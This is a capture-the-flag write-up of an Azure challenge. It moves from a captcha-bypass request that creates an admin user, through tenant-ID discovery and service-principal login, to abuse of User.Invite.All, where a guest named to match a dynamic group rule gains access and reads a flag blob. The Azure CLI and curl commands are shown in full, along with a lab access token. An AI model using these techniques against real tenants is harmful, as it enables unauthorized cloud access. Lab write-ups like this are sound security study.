Breaking The Barriers
PS: After getting the env information, you can put it on the terminal of your own host and execute it. The wiz platform network will be unstable.
initial access
Route tips:
As an APT group targeting Azure, you've discovered a web app that creates admin users, but they are heavily restricted. To gain initial access, you've created a malicious OAuth app in your tenant and now seek to deploy it into the victim's tenant. Can you bypass the restrictions and capture the flag?
The shell environment has been preloaded with your malicious OAuth app credentials and the target web app endpoint as environment variables. Use 'env | grep AZURE' or 'echo $WEB_APP_ENDPOINT' to view them.
作为针对Azure的APT组,您已经发现了一个创建管理用户的Web应用程序,但受到严格限制。为了获得初步访问,您已经在租户中创建了一个恶意的OAuth应用程序,现在试图将其部署到受害者的租户中。您可以绕过限制并捕获标志吗?
Shell环境已使用您的恶意OAuth App凭据和目标Web应用程序端点作为环境变量预装。使用'env | grep azure'或“ echo $ web_app_endpoint”查看它们。
Basic environment:
Azure cli的各类变量:$AZURE_CLIENT_ID$AZURE_CLIENT_SECRET$AZURE_TENANT_ID$WEB_APP_ENDPOINT
VICTIM_TENANT_ID 是 Azure 中的 目录租户ID(Tenant ID),它唯一标识 Azure Active Directory (AAD) 实例
Let’s guess the attack route based on the meaning of the question:
We have a client, but we should not have access rights, so we need to use $WEB_APP_ENDPOINT to take over the interface and perform subsequent operations (even get the flag).
Privilege escalation
First we try to log in to the client, but an error is reported
az login --service-principal -u "$AZURE_CLIENT_ID" -p "$AZURE_CLIENT_SECRET" --tenant "$VICTIM_TENANT_ID"
Failed to resolve tenant ''.Error detail: {"error":"invalid_tenant","error_description":"AADSTS90002: Tenant 'v2.0' not found. Check to make sure you have the correct tenant ID and are signing into the correct cloud. Check with your subscription administrator, this may happen if there are no active subscriptions for the tenant. Trace ID: 4b6e6e08-db08-4ad7-9bfb-2a03e502b500 Correlation ID: e76808d7-a818-47fa-8d83-fdf58d52bbe7 Timestamp: 2025-09-10 09:49:11Z","error_codes":[90002],"timestamp":"2025-09-10 09:49:11Z","trace_id":"4b6e6e08-db08-4ad7-9bfb-2a03e502b500","correlation_id":"e76808d7-a818-47fa-8d83-fdf58d52bbe7","error_uri":"https://login.microsoftonline.com/error?code=90002"}
similarAADSTS90002The error is because the tenant is not subscribed to Azure or has been inactive for a long time, or the tenant_id is incorrect. You can try adding--allow-no-subscriptionsParameters for login without subscription,For details, see:https://stackoverflow.com/questions/63226826/azure-login-for-tenant-failing-for-az-app-principal-with-no-subscription-found-m
az login --service-principal -u "$AZURE_CLIENT_ID" -p "$AZURE_CLIENT_SECRET" --tenant "$VICTIM_TENANT_ID" --allow-no-subscriptions
Failed to resolve tenant ''.Error detail: {"error":"invalid_tenant","error_description":"AADSTS90002: Tenant 'v2.0' not found. Check to make sure you have the correct tenant ID and are signing into the correct cloud. Check with your subscription administrator, this may happen if there are no active subscriptions for the tenant. Trace ID: 496b0638-470b-4245-8ef0-4b99dc573400 Correlation ID: 234cebb8-2486-4877-8596-452cf0556d29 Timestamp: 2025-09-10 10:01:29Z","error_codes":[90002],"timestamp":"2025-09-10 10:01:29Z","trace_id":"496b0638-470b-4245-8ef0-4b99dc573400","correlation_id":"234cebb8-2486-4877-8596-452cf0556d29","error_uri":"https://login.microsoftonline.com/error?code=90002"}
Still getting the same error, it can basically be confirmed that the tenant_id is incorrect.
Next look for information from $WEB_APP_ENDPOINT
Curl can directly obtain the web page and its front-end source code. Here is the sso authentication mentioned in the title.
Comes with an interface to create users and comes with Google Authenticator
Let's try to construct an account and bypass it by directly skipRecaptcha=true. The token can be any value.
BASE="$WEB_APP_ENDPOINT"
PW='N0tEasy!2345?Aa'
F="AppConsent"; L="Reviewer$RANDOM$RANDOM"RESP=$(curl -sS -X POST "$BASE/create-user" -H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode "firstName=$F" --data-urlencode "lastName=$L"
--data-urlencode "password=$PW"
--data-urlencode "department=Admin Consent Reviewers"
--data-urlencode "jobTitle=Cloud Application Administrator"
--data "token=anything" --data "skipRecaptcha=true")
UPN=$(printf '%s' "$RESP" | grep -oE '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+.[A-Za-z]+' | head -n1); echo "UPN=$UPN"
VICTIM_TENANT_ID=$(curl -s "https://login.microsoftonline.com/${UPN#*@}/v2.0/.well-known/openid-configuration"
| grep -oE '/[0-9a-f-]{36}/' | head -n1 | tr -d '/'); echo "VICTIM_TENANT_ID=$VICTIM_TENANT_ID"
(This is because wiz often disconnects, so I simplified the one-stop command to obtain the VICTIM_TENANT_ID that can be used for login)
inUPN yes User Principal Name, the format is usually[email protected]That is, the email address returned by our create_user interface
The last step is to use Azure's OpenID discovery mechanism to dynamically obtain the tenant ID of a domain name (organization). ${UPN#*@} is the domain name. You can refer to the article for this part:https://www.mistercloudtech.com/2023/07/11/get-the-tenant-id-for-any-microsoft-entra-tenant/
🔎 Further reference
thexyz.com: How to get tenant ID and client ID.
medium.com: A mechanism to obtain tenant meta-information using OpenID Connect.
jiangong-sun.medium.com: Explanation of the differences between Tenant ID, Client ID and Object ID.
Written in We can try to log in to azure-cli
az login --service-principal -u "$AZURE_CLIENT_ID" -p "$AZURE_CLIENT_SECRET" --tenant "$VICTIM_TENANT_ID" --allow-no-subscriptionsAfter successfully logging in, scroll through the information
az account get-access-token
az account tenant list -o table
az ad signed-in-user show -o json
az rest --method GET --url "https://graph.microsoft.com/beta/groups" | grep CTF | grep WIZ | grep WIZ_CTF 或者人眼排查
I did see the CTF tag when querying groups.
user@monthly-challenge:$ az rest --method GET --url "https://graph.microsoft.com/beta/groups" | grep CTF
"membershipRule": "(user.department -eq "Finance") and (user.jobTitle -eq "Manager") or (user.displayName -startsWith "CTF") and (user.userType -eq "Guest") or (user.city -eq "Seattle")",getmembershipRuleAfter that, I was worried for a long time that I never had access rights to GID+RID (how to get GID+RID will be explained later). I thought it was because there were too many gourps, which resulted in the need for FUZZ+regex, so I just used various$filter=department eq 'Finance' and jobTitle eq 'Manager'"To "get people". Finally, after neko solved the problem, I found that there is another way out.
Also, put it aside for more information.
az account get-access-token View token permissions
user@monthly-challenge:$ az account get-access-token
{
"accessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSIsImtpZCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9kMjZmMzUzZC1jNTY0LTQ4ZTctYjI2Zi1hYTQ4YzZlZWNkNTgvIiwiaWF0IjoxNzU3NTAyODkyLCJuYmYiOjE3NTc1MDI4OTIsImV4cCI6MTc1NzUwNjc5MiwiYWlvIjoiQVdRQW0vOFpBQUFBM2N4ZW03RFUzVlpMYmtCRXg2bHM1WlBBbmRCU2o4Q2c3S3BvVE1RUkM2NElrRFBPUFpQQ3ZxVzBhUys0VzVNaHAxVWhWUlRkdVNOVG1vVk1KZHlsYXBySzJRYWkyM213RzV2d3Vjc0F5aEZoVitoOWs0cU9MNUZrOTRuQUFWWm8iLCJhcHBpZCI6ImY4M2NiM2Q3LTQ3ZGUtNDE1NC1iZTY1LWM4NWQ2OTdjZGZkMyIsImFwcGlkYWNyIjoiMSIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0L2QyNmYzNTNkLWM1NjQtNDhlNy1iMjZmLWFhNDhjNmVlY2Q1OC8iLCJpZHR5cCI6ImFwcCIsIm9pZCI6Ijk5NjY3N2Y4LTY5ZjEtNDE3MS1iZTAwLTIwN2YzZTA1ZmFlYyIsInJoIjoiMS5BYTRBUFRWdjBtVEY1MGl5YjZwSXh1N05XRVpJZjNrQXV0ZFB1a1Bhd2ZqMk1CTTdBUUN1QUEuIiwic3ViIjoiOTk2Njc3ZjgtNjlmMS00MTcxLWJlMDAtMjA3ZjNlMDVmYWVjIiwidGlkIjoiZDI2ZjM1M2QtYzU2NC00OGU3LWIyNmYtYWE0OGM2ZWVjZDU4IiwidXRpIjoicWdjU2pMQXFvME9GOUd0clJGS0xBQSIsInZlciI6IjEuMCIsInhtc19mdGQiOiJxUFJQWkF4YzFWN3ZYV2lDX2N3RHlVdzdwalc4VS1kTjNtUlpFRk1mdmEwQlpYVnliM0JsYm05eWRHZ3RaSE50Y3ciLCJ4bXNfaWRyZWwiOiIyOCA3IiwieG1zX3JkIjoiMC40LUxnWUJKaVdjZjRua2xJaElOVlNPQ0lkOVUwclFwZHo2VlgxNzlZSHNvZER4UmxGeEtJSzVmdFRDdzU2TDE4TjB2UXBLMUtXVUJSVGlHQmRWLU1OSmpfbkhCWi11T2M1ZGRuYXhpQm9oeENBbTRlOVpVTXU2Nzc3M0stZGZESE53TmhLWFlPRmlGbTV3QkRBQSIsInhtc190Y2R0IjoxNzU1NTk2NTk0fQ.SieFOuXxFQXUyCyg-f3H9cI43UcoVKEHC4-wIgxZ7Y40GaaIojFbSP2E6g5x8NopdjMGZ6k38kZluJ9wB-t9rJu-S6_vb2i06g21F1g11gC01z8HTpVjS8q1aTVGcVF-QfjP7a5S-DdlLKfBSKp-gOvuA8vg_utonPApVNEw7TD5-eawNT8U4K161QOA3lVnNvG56uxBfwrxChYJJhC5NNf9cbPINx60Yw33kextZSlLjMBmMAm4zH4eO7CEaaZ05qfnp3E6ca6kpwx549ZWfYdimc6-WBOgEL8osnH8_GG1yfTS2_awsyZmuIFB3YiABx_MO8ATHIeDT4RYmRLw8Q",
"expiresOn": "2025-09-10 12:19:51.000000",
"expires_on": 1757506791,
"subscription": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
"tenant": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
"tokenType": "Bearer"
}解密下来发现发现role为Group.Read.All和User.Invite.All权限
Get the GID+RID of the flag group
az rest --method GET --url "https://graph.microsoft.com/beta/groups"You can recruit GID
Get RID
GID="7d060bb7-75e4-456e-b46f-382f4ff0c4fd"RID=$(az rest --method GET
--url "https://graph.microsoft.com/v1.0/groups/$GID/appRoleAssignments"
--query "value[?resourceDisplayName=='CTF Challenge Flag'].resourceId | [0]" -o tsv | tr -d '\r')
echo "RID=$RID"
az rest --method GET <br>--url "https://graph.microsoft.com/v1.0/servicePrincipals/$rid”
Return::Insufficient permissions
Account invitation
I didn't pay much attention to the User.Invite.All permission before, but I figured it out under the guidance of neko and dvk. Sure enough, every design of ctf has its use. Our token has a permission called User.Invite.All, which means we can invite others to join the organization.
Plus the rules we hit before:
• (user.displayName -startsWith "CTF") and (user.userType -eq "Guest")
In this way, your guest account will be automatically included in the target group. Since this group has been assigned to the enterprise application "CTF Challenge Flag", your guest account will be considered "authorized to use the application".
Send invitation
Use Graph to create an invitation and directly set the display name to start with CTF; set sendInvitationMessage=false so that the response will return
inviteRedeemUrl, you can directly click the link to accept without actually receiving the email.
TENANT="$VICTIM_TENANT_ID"
EMAIL="你自己的可登录 MSA/AAD 邮箱"
DN="CTF Cd"az rest --method POST
--url "https://graph.microsoft.com/v1.0/invitations"
--body "{
"invitedUserEmailAddress": "${EMAIL}",
"inviteRedirectUrl": "https://myapps.microsoft.com?tenantId=${TENANT}\",
"sendInvitationMessage": false,
"invitedUserDisplayName": "${DN}",
"invitedUserType": "Guest"
}"
• Take note of the responseinviteRedeemUrl. Open it with a browser and follow the prompts to log in with the account corresponding to your email address to complete "Accept Invitation".
Here we go back to our previous attempt to get the rid prompt that there is no permission. Using the guest account has permission. We first use az login --device-code to log in without an account password, which is more convenient.
user@monthly-challenge:$ az login
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code AJM8Y43M3 to authenticate.At this time we execute again
user@monthly-challenge:$ az login
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code AJM8Y43M3 to authenticate.Retrieving tenants and subscriptions for the selection...
[Tenant and subscription selection]
No Subscription name Subscription ID Tenant
[1] * Test Group 5dcc0e04-85ce-46dd-83c5-7703bb165aaf Wiz CTF Challenge
The default is marked with an *; the default tenant is 'Wiz CTF Challenge' and subscription is 'Test Group' (5dcc0e04-85ce-46dd-83c5-7703bb165aaf).
Select a subscription and tenant (Type a number or Enter for no changes):
Tenant: Wiz CTF Challenge
Subscription: Test Group (5dcc0e04-85ce-46dd-83c5-7703bb165aaf)
[Announcements]
With the new Azure CLI login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271236
If you encounter any problem, please open an issue at https://aka.ms/azclibug
[Warning] The login output has been updated. Please be aware that it no longer displays the full list of available subscriptions by default.
user@monthly-challenge:az rest --method GET \
--url "https://graph.microsoft.com/v1.0/servicePrincipals/$rid”
> ^C
user@monthly-challenge:$ az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals/$rid"
Bad Request({"error":{"code":"Request_BadRequest","message":"Invalid object identifier 'í³¢í²€'.","innerError":{"date":"2025-09-10T18:00:13","request-id":"9b52a248-f0e8-4710-9cb2-956eee12d314","client-request-id":"9b52a248-f0e8-4710-9cb2-956eee12d314"}}})
user@monthly-challenge:~$ az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals/80b871a5-ce2b-4685-81e8-a02ea36dcf65"
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#servicePrincipals/$entity",
"accountEnabled": true,
"addIns": [],
"alternativeNames": [],
"appDescription": null,
"appDisplayName": "CTF Challenge Flag",
"appId": "6cd60a01-b413-40b7-ade6-ab508ba060a9",
"appOwnerOrganizationId": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
"appRoleAssignmentRequired": false,
"appRoles": [],
"applicationTemplateId": null,
"createdDateTime": "2025-08-19T10:41:51Z",
"deletedDateTime": null,
"description": null,
"disabledByMicrosoftStatus": null,
"displayName": "CTF Challenge Flag",
"homepage": "https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt",
"id": "80b871a5-ce2b-4685-81e8-a02ea36dcf65",
"info": {
"logoUrl": "https://aadcdn.msftauthimages.net/c1c6b6c8-agzjojyyfny3-iynuxcjiothvagag7-hoz9hvmlew-8/appbranding/tg4-wwkbwssyfxlwjtantnwvvjcpcp7c7f4ww8pu7fm/1033/bannerlogo?ts=638911969725909408",
"marketingUrl": null,
"privacyStatementUrl": null,
"supportUrl": null,
"termsOfServiceUrl": null
},
"keyCredentials": [],
"loginUrl": null,
"logoutUrl": null,
"notes": null,
"notificationEmailAddresses": [],
"oauth2PermissionScopes": [],
"passwordCredentials": [],
"preferredSingleSignOnMode": null,
"preferredTokenSigningKeyThumbprint": null,
"replyUrls": [
"https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt"
],
"resourceSpecificApplicationPermissions": [],
"samlSingleSignOnSettings": null,
"servicePrincipalNames": [
"6cd60a01-b413-40b7-ade6-ab508ba060a9"
],
"servicePrincipalType": "Application",
"signInAudience": "AzureADMyOrg",
"tags": [
"WindowsAzureActiveDirectoryIntegratedApp"
],
"tokenEncryptionKeyId": null,
"verifiedPublisher": {
"addedDateTime": null,
"displayName": null,
"verifiedPublisherId": null
}
}
The bucket address of the flag can be obtained
Of course we click directlyhttps://myapps.microsoft.com/The wzi flag inside can also directly access the bucket.
But it prompts that we do not have permission to access. At this time, we directly get the token of the current account.
ACCESS_TOKEN=$(az account get-access-token --resource https://storage.azure.com --query accessToken -o tsv)
Combined with the underlying REST API of Azure Storage Servicex-ms-version: 2023-11-03(API versioning) andx-ms-date: $(date -u '+%a, %d %b %Y %H:%M:%S GMT')(request timeliness and security)
Just construct curl. This step has similar questions in pwnlab.https://labs.pwnedlabs.io/azure-blob-container-to-initial-access("x-ms-version: 2019-12-12”)
curl -H "Authorization: Bearer $ACCESS_TOKEN"
-H "x-ms-version: 2023-11-03"
-H "x-ms-date: $(date -u '+%a, %d %b %Y %H:%M:%S GMT')"
"https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt"
Comments (0)
Login to post a comment.